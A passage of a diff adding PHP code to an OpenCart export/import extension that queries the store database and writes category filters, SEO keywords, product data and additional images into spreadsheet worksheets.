+ $data[$j++] = $store_id_list;
+ $layout_list = '';
+ if (isset($layouts[$category_id])) {
+ foreach ($layouts[$category_id] as $store_id => $name) {
+ $layout_list .= ($layout_list=='') ? $store_id.':'.$name : ','.$store_id.':'.$name;
+ }
+ }
+ $data[$j++] = $layout_list;
+ $data[$j++] = ($row['status']==0) ? 'false' : 'true';
+ $this->setCellRow( $worksheet, $i, $data, $this->null_array, $styles );
+ $i += 1;
+ $j = 1;
+ }
+ }
+
+
+ protected function getFilterGroupNames( $language_id ) {
+ $sql = "SELECT filter_group_id, name ";
+ $sql .= "FROM `".DB_PREFIX."filter_group_description` ";
+ $sql .= "WHERE language_id='".(int)$language_id."' ";
+ $sql .= "ORDER BY filter_group_id ASC";
+ $query = $this->db->query( $sql );
+ $filter_group_names = array();
+ foreach ($query->rows as $row) {
+ $filter_group_id = $row['filter_group_id'];
+ $name = $row['name'];
+ $filter_group_names[$filter_group_id] = $name;
+ }
+ return $filter_group_names;
+ }
+
+
+ protected function getFilterNames( $language_id ) {
+ $sql = "SELECT filter_id, name ";
+ $sql .= "FROM `".DB_PREFIX."filter_description` ";
+ $sql .= "WHERE language_id='".(int)$language_id."' ";
+ $sql .= "ORDER BY filter_id ASC";
+ $query = $this->db->query( $sql );
+ $filter_names = array();
+ foreach ($query->rows as $row) {
+ $filter_id = $row['filter_id'];
+ $filter_name = $row['name'];
+ $filter_names[$filter_id] = $filter_name;
+ }
+ return $filter_names;
+ }
+
+
+ protected function getCategoryFilters( $min_id, $max_id ) {
+ $sql = "SELECT cf.category_id, fg.filter_group_id, cf.filter_id ";
+ $sql .= "FROM `".DB_PREFIX."category_filter` cf ";
+ $sql .= "INNER JOIN `".DB_PREFIX."filter` f ON f.filter_id=cf.filter_id ";
+ $sql .= "INNER JOIN `".DB_PREFIX."filter_group` fg ON fg.filter_group_id=f.filter_group_id ";
+ if (isset($min_id) && isset($max_id)) {
+ $sql .= "WHERE category_id BETWEEN $min_id AND $max_id ";
+ }
+ $sql .= "ORDER BY cf.category_id ASC, fg.filter_group_id ASC, cf.filter_id ASC";
+ $query = $this->db->query( $sql );
+ $category_filters = array();
+ foreach ($query->rows as $row) {
+ $category_filter = array();
+ $category_filter['category_id'] = $row['category_id'];
+ $category_filter['filter_group_id'] = $row['filter_group_id'];
+ $category_filter['filter_id'] = $row['filter_id'];
+ $category_filters[] = $category_filter;
+ }
+ return $category_filters;
+ }
+
+
+ protected function populateCategoryFiltersWorksheet( &$worksheet, &$languages, $default_language_id, &$box_format, &$text_format, $min_id=null, $max_id=null ) {
+ // Set the column widths
+ $j = 1;
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(strlen('category_id')+1);
+ if ($this->config->get( 'export_import_settings_use_filter_group_id' )) {
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(strlen('filter_group_id')+1);
+ } else {
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('filter_group'),30)+1);
+ }
+ if ($this->config->get( 'export_import_settings_use_filter_id' )) {
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(strlen('filter_id')+1);
+ } else {
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('filter'),30)+1);
+ }
+ foreach ($languages as $language) {
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('text')+4,30)+1);
+ }
+
+ // The heading row and column styles
+ $styles = array();
+ $data = array();
+ $i = 1;
+ $j = 1;
+ $data[$j++] = 'category_id';
+ if ($this->config->get( 'export_import_settings_use_filter_group_id' )) {
+ $data[$j++] = 'filter_group_id';
+ } else {
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'filter_group';
+ }
+ if ($this->config->get( 'export_import_settings_use_filter_id' )) {
+ $data[$j++] = 'filter_id';
+ } else {
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'filter';
+ }
+ $worksheet->getRowDimension($i)->setRowHeight(30);
+ $this->setCellRow( $worksheet, $i, $data, $box_format );
+
+ // The actual category filters data
+ if (!$this->config->get( 'export_import_settings_use_filter_group_id' )) {
+ $filter_group_names = $this->getFilterGroupNames( $default_language_id );
+ }
+ if (!$this->config->get( 'export_import_settings_use_filter_id' )) {
+ $filter_names = $this->getFilterNames( $default_language_id );
+ }
+ $i += 1;
+ $j = 1;
+ $category_filters = $this->getCategoryFilters( $min_id, $max_id );
+ foreach ($category_filters as $row) {
+ $worksheet->getRowDimension($i)->setRowHeight(13);
+ $data = array();
+ $data[$j++] = $row['category_id'];
+ if ($this->config->get( 'export_import_settings_use_filter_group_id' )) {
+ $data[$j++] = $row['filter_group_id'];
+ } else {
+ $data[$j++] = html_entity_decode($filter_group_names[$row['filter_group_id']],ENT_QUOTES,'UTF-8');
+ }
+ if ($this->config->get( 'export_import_settings_use_filter_id' )) {
+ $data[$j++] = $row['filter_id'];
+ } else {
+ $data[$j++] = html_entity_decode($filter_names[$row['filter_id']],ENT_QUOTES,'UTF-8');
+ }
+ $this->setCellRow( $worksheet, $i, $data, $this->null_array, $styles );
+ $i += 1;
+ $j = 1;
+ }
+ }
+
+
+ protected function getCategorySEOKeywords( &$languages, $min_id, $max_id ) {
+ $sql = "SELECT * FROM `".DB_PREFIX."seo_url` ";
+ $sql .= "WHERE query LIKE 'category_id=%' AND ";
+ $sql .= "CAST(SUBSTRING(query FROM 13) AS UNSIGNED INTEGER) >= '".(int)$min_id."' AND ";
+ $sql .= "CAST(SUBSTRING(query FROM 13) AS UNSIGNED INTEGER) <= '".(int)$max_id."' ";
+ $sql .= "ORDER BY CAST(SUBSTRING(query FROM 13) AS UNSIGNED INTEGER), store_id, language_id";
+ $query = $this->db->query( $sql );
+ $seo_keywords = array();
+ foreach ($query->rows as $row) {
+ $category_id = (int)substr($row['query'],12);
+ $store_id = (int)$row['store_id'];
+ $language_id = (int)$row['language_id'];
+ if (!isset($seo_keywords[$category_id])) {
+ $seo_keywords[$category_id] = array();
+ }
+ if (!isset($seo_keywords[$category_id][$store_id])) {
+ $seo_keywords[$category_id][$store_id] = array();
+ }
+ $seo_keywords[$category_id][$store_id][$language_id] = $row['keyword'];
+ }
+ $results = array();
+ foreach ($seo_keywords as $category_id=>$val1) {
+ foreach ($val1 as $store_id=>$val2) {
+ $keyword = array();
+ foreach ($languages as $language) {
+ $language_id = $language['language_id'];
+ $language_code = $language['code'];
+ $keyword[$language_code] = isset($val2[$language_id]) ? $val2[$language_id] : '';
+ }
+ $results[] = array(
+ 'category_id' => $category_id,
+ 'store_id' => $store_id,
+ 'keyword' => $keyword
+ );
+ }
+ }
+ return $results;
+ }
+
+
+ protected function populateCategorySEOKeywordsWorksheet( &$worksheet, &$languages, &$box_format, &$text_format, $min_id=null, $max_id=null ) {
+ // Set the column widths
+ $j = 1;
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(strlen('category_id')+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(strlen('store_id')+1);
+ foreach ($languages as $language) {
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('keyword')+4,30)+1);
+ }
+
+ // The heading row and column styles
+ $styles = array();
+ $data = array();
+ $i = 1;
+ $j = 1;
+ $data[$j++] = 'category_id';
+ $data[$j++] = 'store_id';
+ foreach ($languages as $language) {
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'keyword('.$language['code'].')';
+ }
+ $worksheet->getRowDimension($i)->setRowHeight(30);
+ $this->setCellRow( $worksheet, $i, $data, $box_format );
+
+ // The actual category SEO keywords data
+ $i += 1;
+ $j = 1;
+ $category_seo_keywords = $this->getCategorySEOKeywords( $languages, $min_id, $max_id );
+ foreach ($category_seo_keywords as $row) {
+ $worksheet->getRowDimension($i)->setRowHeight(26);
+ $data = array();
+ $data[$j++] = $row['category_id'];
+ $data[$j++] = $row['store_id'];
+ foreach ($languages as $language) {
+ $data[$j++] = html_entity_decode($row['keyword'][$language['code']],ENT_QUOTES,'UTF-8');
+ }
+ $this->setCellRow( $worksheet, $i, $data, $this->null_array, $styles );
+ $i += 1;
+ $j = 1;
+ }
+ }
+
+
+ protected function getStoreIdsForProducts() {
+ $sql = "SELECT product_id, store_id FROM `".DB_PREFIX."product_to_store` ps;";
+ $store_ids = array();
+ $result = $this->db->query( $sql );
+ foreach ($result->rows as $row) {
+ $productId = $row['product_id'];
+ $store_id = $row['store_id'];
+ if (!isset($store_ids[$productId])) {
+ $store_ids[$productId] = array();
+ }
+ if (!in_array($store_id,$store_ids[$productId])) {
+ $store_ids[$productId][] = $store_id;
+ }
+ }
+ return $store_ids;
+ }
+
+
+ protected function getLayoutsForProducts() {
+ $sql = "SELECT pl.*, l.name FROM `".DB_PREFIX."product_to_layout` pl ";
+ $sql .= "LEFT JOIN `".DB_PREFIX."layout` l ON pl.layout_id = l.layout_id ";
+ $sql .= "ORDER BY pl.product_id, pl.store_id;";
+ $result = $this->db->query( $sql );
+ $layouts = array();
+ foreach ($result->rows as $row) {
+ $productId = $row['product_id'];
+ $store_id = $row['store_id'];
+ $name = $row['name'];
+ if (!isset($layouts[$productId])) {
+ $layouts[$productId] = array();
+ }
+ $layouts[$productId][$store_id] = $name;
+ }
+ return $layouts;
+ }
+
+
+ protected function getProductDescriptions( &$languages, $offset=null, $rows=null, $min_id=null, $max_id=null ) {
+ // some older versions of OpenCart use the 'product_tag' table
+ $exist_table_product_tag = false;
+ $query = $this->db->query( "SHOW TABLES LIKE '".DB_PREFIX."product_tag'" );
+ $exist_table_product_tag = ($query->num_rows > 0);
+
+ // query the product_description table for each language
+ $product_descriptions = array();
+ foreach ($languages as $language) {
+ $language_id = $language['language_id'];
+ $language_code = $language['code'];
+ $sql = "SELECT p.product_id, ".(($exist_table_product_tag) ? "GROUP_CONCAT(pt.tag SEPARATOR \",\") AS tag, " : "")."pd.* ";
+ $sql .= "FROM `".DB_PREFIX."product` p ";
+ $sql .= "LEFT JOIN `".DB_PREFIX."product_description` pd ON pd.product_id=p.product_id AND pd.language_id='".(int)$language_id."' ";
+ if ($exist_table_product_tag) {
+ $sql .= "LEFT JOIN `".DB_PREFIX."product_tag` pt ON pt.product_id=p.product_id AND pt.language_id='".(int)$language_id."' ";
+ }
+ if ($this->posted_categories) {
+ $sql .= "LEFT JOIN `".DB_PREFIX."product_to_category` pc ON pc.product_id=p.product_id ";
+ }
+ if (isset($min_id) && isset($max_id)) {
+ $sql .= "WHERE p.product_id BETWEEN $min_id AND $max_id ";
+ if ($this->posted_categories) {
+ $sql .= "AND pc.category_id IN ".$this->posted_categories." ";
+ }
+ } else if ($this->posted_categories) {
+ $sql .= "WHERE pc.category_id IN ".$this->posted_categories." ";
+ }
+ if ($this->posted_manufacturers) {
+ $sql .= (strpos($sql," WHERE ",0)===false) ? "WHERE " : "AND ";
+ $sql .= "p.manufacturer_id IN ".$this->posted_manufacturers." ";
+ }
+ $sql .= "GROUP BY p.product_id ";
+ $sql .= "ORDER BY p.product_id ";
+ if (isset($offset) && isset($rows)) {
+ $sql .= "LIMIT $offset,$rows; ";
+ } else {
+ $sql .= "; ";
+ }
+ $query = $this->db->query( $sql );
+ $product_descriptions[$language_code] = $query->rows;
+ }
+ return $product_descriptions;
+ }
+
+
+ protected function getProducts( &$languages, $default_language_id, $product_fields, $exist_meta_title, $exist_seo_url_table, $offset=null, $rows=null, $min_id=null, $max_id=null ) {
+ $sql = "SELECT ";
+ $sql .= " p.product_id,";
+ $sql .= " GROUP_CONCAT( DISTINCT CAST(pc.category_id AS CHAR(11)) SEPARATOR \",\" ) AS categories,";
+ $sql .= " p.sku,";
+ $sql .= " p.upc,";
+ if (in_array( 'ean', $product_fields )) {
+ $sql .= " p.ean,";
+ }
+ if (in_array('jan',$product_fields)) {
+ $sql .= " p.jan,";
+ }
+ if (in_array('isbn',$product_fields)) {
+ $sql .= " p.isbn,";
+ }
+ if (in_array('mpn',$product_fields)) {
+ $sql .= " p.mpn,";
+ }
+ $sql .= " p.location,";
+ $sql .= " p.quantity,";
+ $sql .= " p.model,";
+ $sql .= " m.name AS manufacturer,";
+ $sql .= " p.image AS image_name,";
+ $sql .= " p.shipping,";
+ $sql .= " p.price,";
+ $sql .= " p.price_2,";
+ $sql .= " p.price_3,";
+ $sql .= " p.points,";
+ $sql .= " p.date_added,";
+ $sql .= " p.date_modified,";
+ $sql .= " p.date_available,";
+ $sql .= " p.weight,";
+ $sql .= " wc.unit AS weight_unit,";
+ $sql .= " p.length,";
+ $sql .= " p.width,";
+ $sql .= " p.height,";
+ $sql .= " p.status,";
+ $sql .= " p.tax_class_id,";
+ $sql .= " p.sort_order,";
+ if (!$exist_seo_url_table) {
+ $sql .= " ua.keyword,";
+ }
+ $sql .= " p.stock_status_id, ";
+ $sql .= " mc.unit AS length_unit, ";
+ $sql .= " p.subtract, ";
+ $sql .= " p.minimum, ";
+ $sql .= " GROUP_CONCAT( DISTINCT CAST(pr.related_id AS CHAR(11)) SEPARATOR \",\" ) AS related ";
+ $sql .= "FROM `".DB_PREFIX."product` p ";
+ $sql .= "LEFT JOIN `".DB_PREFIX."product_to_category` pc ON p.product_id=pc.product_id ";
+ if ($this->posted_categories) {
+ $sql .= " LEFT JOIN `".DB_PREFIX."product_to_category` pc2 ON p.product_id=pc2.product_id ";
+ }
+ if (!$exist_seo_url_table) {
+ $sql .= "LEFT JOIN `".DB_PREFIX."url_alias` ua ON ua.query=CONCAT('product_id=',p.product_id) ";
+ }
+ $sql .= "LEFT JOIN `".DB_PREFIX."manufacturer` m ON m.manufacturer_id = p.manufacturer_id ";
+ $sql .= "LEFT JOIN `".DB_PREFIX."weight_class_description` wc ON wc.weight_class_id = p.weight_class_id ";
+ $sql .= " AND wc.language_id=$default_language_id ";
+ $sql .= "LEFT JOIN `".DB_PREFIX."length_class_description` mc ON mc.length_class_id=p.length_class_id ";
+ $sql .= " AND mc.language_id=$default_language_id ";
+ $sql .= "LEFT JOIN `".DB_PREFIX."product_related` pr ON pr.product_id=p.product_id ";
+ if (isset($min_id) && isset($max_id)) {
+ $sql .= "WHERE p.product_id BETWEEN $min_id AND $max_id ";
+ if ($this->posted_categories) {
+ $sql .= "AND pc2.category_id IN ".$this->posted_categories." ";
+ }
+ } else if ($this->posted_categories) {
+ $sql .= "WHERE pc2.category_id IN ".$this->posted_categories." ";
+ }
+ if ($this->posted_manufacturers) {
+ $sql .= (strpos($sql," WHERE ",0)===false) ? "WHERE " : "AND ";
+ $sql .= "p.manufacturer_id IN ".$this->posted_manufacturers." ";
+ }
+ $sql .= "GROUP BY p.product_id ";
+ $sql .= "ORDER BY p.product_id ";
+ if (isset($offset) && isset($rows)) {
+ $sql .= "LIMIT $offset,$rows; ";
+ } else {
+ $sql .= "; ";
+ }
+ $results = $this->db->query( $sql );
+ $product_descriptions = $this->getProductDescriptions( $languages, $offset, $rows, $min_id, $max_id );
+ foreach ($languages as $language) {
+ $language_code = $language['code'];
+ foreach ($results->rows as $key=>$row) {
+ if (isset($product_descriptions[$language_code][$key])) {
+ $results->rows[$key]['name'][$language_code] = $product_descriptions[$language_code][$key]['name'];
+ $results->rows[$key]['description'][$language_code] = $product_descriptions[$language_code][$key]['description'];
+ if ($exist_meta_title) {
+ $results->rows[$key]['meta_title'][$language_code] = $product_descriptions[$language_code][$key]['meta_title'];
+ }
+ $results->rows[$key]['meta_description'][$language_code] = $product_descriptions[$language_code][$key]['meta_description'];
+ $results->rows[$key]['meta_keyword'][$language_code] = $product_descriptions[$language_code][$key]['meta_keyword'];
+ $results->rows[$key]['tag'][$language_code] = $product_descriptions[$language_code][$key]['tag'];
+ } else {
+ $results->rows[$key]['name'][$language_code] = '';
+ $results->rows[$key]['description'][$language_code] = '';
+ if ($exist_meta_title) {
+ $results->rows[$key]['meta_title'][$language_code] = '';
+ }
+ $results->rows[$key]['meta_description'][$language_code] = '';
+ $results->rows[$key]['meta_keyword'][$language_code] = '';
+ $results->rows[$key]['tag'][$language_code] = '';
+ }
+ }
+ }
+ return $results->rows;
+ }
+
+
+ protected function populateProductsWorksheet( &$worksheet, &$languages, $default_language_id, &$price_format, &$box_format, &$weight_format, &$text_format, $offset=null, $rows=null, &$min_id=null, &$max_id=null) {
+ // get list of the field names, some are only available for certain OpenCart versions
+ $query = $this->db->query( "DESCRIBE `".DB_PREFIX."product`" );
+ $product_fields = array();
+ foreach ($query->rows as $row) {
+ $product_fields[] = $row['Field'];
+ }
+
+ // Opencart versions from 2.0 onwards also have product_description.meta_title
+ $sql = "SHOW COLUMNS FROM `".DB_PREFIX."product_description` LIKE 'meta_title'";
+ $query = $this->db->query( $sql );
+ $exist_meta_title = ($query->num_rows > 0) ? true : false;
+
+ // Opencart versions from 3.0 onwards use the seo_url DB table
+ $exist_seo_url_table = $this->use_table_seo_url;
+
+ // Set the column widths
+ $j = 1;
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('product_id'),4)+1);
+ foreach ($languages as $language) {
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('name')+4,30)+1);
+ }
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('categories'),12)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('sku'),10)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('upc'),12)+1);
+ if (in_array('ean',$product_fields)) {
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('ean'),14)+1);
+ }
+ if (in_array('jan',$product_fields)) {
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('jan'),13)+1);
+ }
+ if (in_array('isbn',$product_fields)) {
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('isbn'),13)+1);
+ }
+ if (in_array('mpn',$product_fields)) {
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('mpn'),15)+1);
+ }
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('location'),10)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('quantity'),4)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('model'),8)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('manufacturer'),10)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('image_name'),12)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('shipping'),5)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('price'),10)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('price_2'),10)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('price_3'),10)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('points'),5)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('date_added'),19)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('date_modified'),19)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('date_available'),10)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('weight'),6)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('weight_unit'),3)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('length'),8)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('width'),8)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('height'),8)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('length_unit'),3)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('status'),5)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('tax_class_id'),2)+1);
+ if (!$exist_seo_url_table) {
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('seo_keyword'),16)+1);
+ }
+ foreach ($languages as $language) {
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('description')+4,32)+1);
+ }
+ if ($exist_meta_title) {
+ foreach ($languages as $language) {
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('meta_title')+4,20)+1);
+ }
+ }
+ foreach ($languages as $language) {
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('meta_description')+4,32)+1);
+ }
+ foreach ($languages as $language) {
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('meta_keywords')+4,32)+1);
+ }
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('stock_status_id'),3)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('store_ids'),16)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('layout'),16)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('related_ids'),16)+1);
+ foreach ($languages as $language) {
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('tags')+4,32)+1);
+ }
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('sort_order'),8)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('subtract'),5)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('minimum'),8)+1);
+
+ // The product headings row and column styles
+ $styles = array();
+ $data = array();
+ $i = 1;
+ $j = 1;
+ $data[$j++] = 'product_id';
+ foreach ($languages as $language) {
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'name('.$language['code'].')';
+ }
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'categories';
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'sku';
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'upc';
+ if (in_array('ean',$product_fields)) {
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'ean';
+ }
+ if (in_array('jan',$product_fields)) {
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'jan';
+ }
+ if (in_array('isbn',$product_fields)) {
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'isbn';
+ }
+ if (in_array('mpn',$product_fields)) {
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'mpn';
+ }
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'location';
+ $data[$j++] = 'quantity';
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'model';
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'manufacturer';
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'image_name';
+ $data[$j++] = 'shipping';
+ $styles[$j] = &$price_format;
+ $data[$j++] = 'price';
+ $data[$j++] = 'price_2';
+ $data[$j++] = 'price_3';
+ $data[$j++] = 'points';
+ $data[$j++] = 'date_added';
+ $data[$j++] = 'date_modified';
+ $data[$j++] = 'date_available';
+ $styles[$j] = &$weight_format;
+ $data[$j++] = 'weight';
+ $data[$j++] = 'weight_unit';
+ $data[$j++] = 'length';
+ $data[$j++] = 'width';
+ $data[$j++] = 'height';
+ $data[$j++] = 'length_unit';
+ $data[$j++] = 'status';
+ $data[$j++] = 'tax_class_id';
+ if (!$exist_seo_url_table) {
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'seo_keyword';
+ }
+ foreach ($languages as $language) {
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'description('.$language['code'].')';
+ }
+ if ($exist_meta_title) {
+ foreach ($languages as $language) {
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'meta_title('.$language['code'].')';
+ }
+ }
+ foreach ($languages as $language) {
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'meta_description('.$language['code'].')';
+ }
+ foreach ($languages as $language) {
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'meta_keywords('.$language['code'].')';
+ }
+ $data[$j++] = 'stock_status_id';
+ $data[$j++] = 'store_ids';
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'layout';
+ $data[$j++] = 'related_ids';
+ foreach ($languages as $language) {
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'tags('.$language['code'].')';
+ }
+ $data[$j++] = 'sort_order';
+ $data[$j++] = 'subtract';
+ $data[$j++] = 'minimum';
+ $worksheet->getRowDimension($i)->setRowHeight(30);
+ $this->setCellRow( $worksheet, $i, $data, $box_format );
+
+ // The actual products data
+ $i += 1;
+ $j = 1;
+ $store_ids = $this->getStoreIdsForProducts();
+ $layouts = $this->getLayoutsForProducts();
+ $products = $this->getProducts( $languages, $default_language_id, $product_fields, $exist_meta_title, $exist_seo_url_table, $offset, $rows, $min_id, $max_id );
+ $len = count($products);
+ $min_id = ($len>0) ? $products[0]['product_id'] : 0;
+ $max_id = ($len>0) ? $products[$len-1]['product_id'] : 0;
+ foreach ($products as $row) {
+ $data = array();
+ $worksheet->getRowDimension($i)->setRowHeight(26);
+ $product_id = $row['product_id'];
+ $data[$j++] = $product_id;
+ foreach ($languages as $language) {
+ $data[$j++] = html_entity_decode($row['name'][$language['code']],ENT_QUOTES,'UTF-8');
+ }
+ $data[$j++] = $row['categories'];
+ $data[$j++] = $row['sku'];
+ $data[$j++] = $row['upc'];
+ if (in_array('ean',$product_fields)) {
+ $data[$j++] = $row['ean'];
+ }
+ if (in_array('jan',$product_fields)) {
+ $data[$j++] = $row['jan'];
+ }
+ if (in_array('isbn',$product_fields)) {
+ $data[$j++] = $row['isbn'];
+ }
+ if (in_array('mpn',$product_fields)) {
+ $data[$j++] = $row['mpn'];
+ }
+ $data[$j++] = $row['location'];
+ $data[$j++] = $row['quantity'];
+ $data[$j++] = $row['model'];
+ $data[$j++] = $row['manufacturer'];
+ $data[$j++] = $row['image_name'];
+ $data[$j++] = ($row['shipping']==0) ? 'no' : 'yes';
+ $data[$j++] = $row['price'];
+ $data[$j++] = $row['price_2'];
+ $data[$j++] = $row['price_3'];
+ $data[$j++] = $row['points'];
+ $data[$j++] = $row['date_added'];
+ $data[$j++] = $row['date_modified'];
+ $data[$j++] = $row['date_available'];
+ $data[$j++] = $row['weight'];
+ $data[$j++] = $row['weight_unit'];
+ $data[$j++] = $row['length'];
+ $data[$j++] = $row['width'];
+ $data[$j++] = $row['height'];
+ $data[$j++] = $row['length_unit'];
+ $data[$j++] = ($row['status']==0) ? 'false' : 'true';
+ $data[$j++] = $row['tax_class_id'];
+ if (!$exist_seo_url_table) {
+ $data[$j++] = ($row['keyword']) ? $row['keyword'] : '';
+ }
+ foreach ($languages as $language) {
+ $data[$j++] = html_entity_decode($row['description'][$language['code']],ENT_QUOTES,'UTF-8');
+ }
+ if ($exist_meta_title) {
+ foreach ($languages as $language) {
+ $data[$j++] = html_entity_decode($row['meta_title'][$language['code']],ENT_QUOTES,'UTF-8');
+ }
+ }
+ foreach ($languages as $language) {
+ $data[$j++] = html_entity_decode($row['meta_description'][$language['code']],ENT_QUOTES,'UTF-8');
+ }
+ foreach ($languages as $language) {
+ $data[$j++] = html_entity_decode($row['meta_keyword'][$language['code']],ENT_QUOTES,'UTF-8');
+ }
+ $data[$j++] = $row['stock_status_id'];
+ $store_id_list = '';
+ if (isset($store_ids[$product_id])) {
+ foreach ($store_ids[$product_id] as $store_id) {
+ $store_id_list .= ($store_id_list=='') ? $store_id : ','.$store_id;
+ }
+ }
+ $data[$j++] = $store_id_list;
+ $layout_list = '';
+ if (isset($layouts[$product_id])) {
+ foreach ($layouts[$product_id] as $store_id => $name) {
+ $layout_list .= ($layout_list=='') ? $store_id.':'.$name : ','.$store_id.':'.$name;
+ }
+ }
+ $data[$j++] = $layout_list;
+ $data[$j++] = $row['related'];
+ foreach ($languages as $language) {
+ $data[$j++] = html_entity_decode($row['tag'][$language['code']],ENT_QUOTES,'UTF-8');
+ }
+ $data[$j++] = $row['sort_order'];
+ $data[$j++] = ($row['subtract']==0) ? 'false' : 'true';
+ $data[$j++] = $row['minimum'];
+ $this->setCellRow( $worksheet, $i, $data, $this->null_array, $styles );
+ $i += 1;
+ $j = 1;
+ }
+ }
+
+
+ protected function getAdditionalImages( $min_id=null, $max_id=null, $exist_sort_order=true ) {
+ if ($exist_sort_order) {
+ $sql = "SELECT DISTINCT pi.product_id, pi.image, pi.sort_order ";
+ } else {
+ $sql = "SELECT DISTINCT pi.product_id, pi.image ";
+ }
+ $sql .= "FROM `".DB_PREFIX."product_image` pi ";
+ if ($this->posted_categories) {
+ $sql .= "LEFT JOIN `".DB_PREFIX."product_to_category` pc ON pc.product_id=pi.product_id ";
+ }
+ if ($this->posted_manufacturers) {
+ $sql .= "LEFT JOIN `".DB_PREFIX."product` p ON p.product_id=pi.product_id ";
+ }
+ if (isset($min_id) && isset($max_id)) {
+ $sql .= "WHERE pi.product_id BETWEEN $min_id AND $max_id ";
+ if ($this->posted_categories) {
+ $sql .= "AND pc.category_id IN ".$this->posted_categories." ";
+ }
+ } else if ($this->posted_categories) {
+ $sql .= "WHERE pc.category_id IN ".$this->posted_categories." ";
+ }
+ if ($this->posted_manufacturers) {
+ $sql .= (strpos($sql," WHERE ",0)===false) ? "WHERE " : "AND ";
+ $sql .= "p.manufacturer_id IN ".$this->posted_manufacturers." ";
+ }
+ if ($exist_sort_order) {
+ $sql .= "ORDER BY product_id, sort_order, image;";
+ } else {
+ $sql .= "ORDER BY product_id, image;";
+ }
+ $result = $this->db->query( $sql );
+ return $result->rows;
+ }
+
+
+ protected function populateAdditionalImagesWorksheet( &$worksheet, &$box_format, &$text_format, $min_id=null, $max_id=null) {
+ // check for the existence of product_image.sort_order field
+ $sql = "SHOW COLUMNS FROM `".DB_PREFIX."product_image` LIKE 'sort_order'";
+ $query = $this->db->query( $sql );
+ $exist_sort_order = ($query->num_rows > 0) ? true : false;
+
+ // Set the column widths
+ $j = 1;
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('product_id'),4)+1);
